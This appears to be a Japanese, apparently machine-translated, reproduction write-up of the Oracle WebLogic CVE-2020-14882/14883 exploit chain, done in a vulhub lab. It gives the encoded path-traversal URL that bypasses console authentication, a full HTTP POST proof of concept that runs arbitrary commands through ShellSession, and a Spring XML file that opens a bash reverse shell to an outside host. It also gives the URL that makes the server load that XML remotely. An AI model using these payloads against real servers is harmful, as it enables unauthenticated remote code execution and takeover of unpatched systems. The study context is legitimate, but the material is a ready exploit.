免責事項: この記事は学習と参考のみを目的としています。それに含まれるすべてのリソースはインターネットからのものです。これらを違法行為に使用しないでください。さもなければ、相応の結果を自分で負うことになります。また、私は法的および共同の責任を負いません。いくつかの負債。
脆弱性の説明
Weblogic は、Oracle Corporation が発売した J2EE アプリケーション サーバーです。2020 年 10 月のアップデートで、Oracle は 2 つのセキュリティ脆弱性、つまり CVE-2020-14882 と CVE-2020-14883 を正式に修正しました。CVE-2020-14882 により、権限のないユーザーが管理コンソールの権限検証をバイパスできるようになります。バックグラウンドへのアクセス、CVE- 2020-14883 では、任意のユーザーがバックグラウンドで HTTP プロトコル経由で任意のコマンドを実行できます。これら 2 つの脆弱性で構成されるエクスプロイト チェーンを使用すると、GET リクエストを通じてリモート Weblogic サーバー上でコマンドを未承認の任意のユーザーとして実行できます。
影響を受けるバージョン
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
脆弱性の再発
脆弱性環境は vulhub を使用して構築されているため、ここでは繰り返しません。環境が起動したら、http://192.168.10.171:7001/console にアクセスしてバックグラウンド ログイン ページにアクセスします。
権限バイパスの脆弱性
URL: http://192.168.10.171:7001/console/css/%252e%252e%252fconsole.portal にアクセスすると、認証なしで管理バックグラウンド ページにアクセスできます (最初のアクセス時に 404 エラーが表示される場合があります)。訪問後は問題ありませんが
、現在のユーザーは、アプリケーションをインストールしたり、コマンドを直接実行したりできない、権限の低いユーザーです。今回は 2 番目の脆弱性 cve-2020-14883 につながります。
リモートコマンド実行
この脆弱性を悪用するには 2 つの方法があり、1 つは com.tangosol.coherence.mvel2.sh.ShellSession を使用する方法、もう 1 つは com.bea.core.repackaging.springframework.context.support.FileSystemXmlApplicationContext を使用する方法です。
まず最初のメソッド com.tangosol.coherence.mvel2.sh.ShellSession を使用します。使用される POC は次のとおりです。
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 192.168.26.103:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
cmd: whoami
Content-Length: 1258
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");
リバウンドシェル
リバウンドシェルの成功を見る
ただし、com.tangosol.coherence.mvel2.sh.ShellSession クラスが 10.3.6 には存在しないため、この悪用メソッドは Weblogic 12.2.1 以降のバージョンでのみ悪用できます。
com.bea.core.repackages.springframework.context.support.FileSystemXmlApplicationContext は、よりパススルーなメソッドであり、CVE-2019-2725 で最初に提案され、すべての Weblogic バージョンで有効です。
まず XML ファイルを作成し、Weblogic がアクセスできるサーバーに配置します (サーバーは Python を使用して http サービスを開始できます)。
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.8.14/3340 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
次に、次の URL を介して、Weblogic にこの XML をロードさせ、その中でコマンドを実行させることができます。
http://192.168.10.171:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://192.168.8.14:8888/poc.xml”)
リバウンドシェルの成功を見る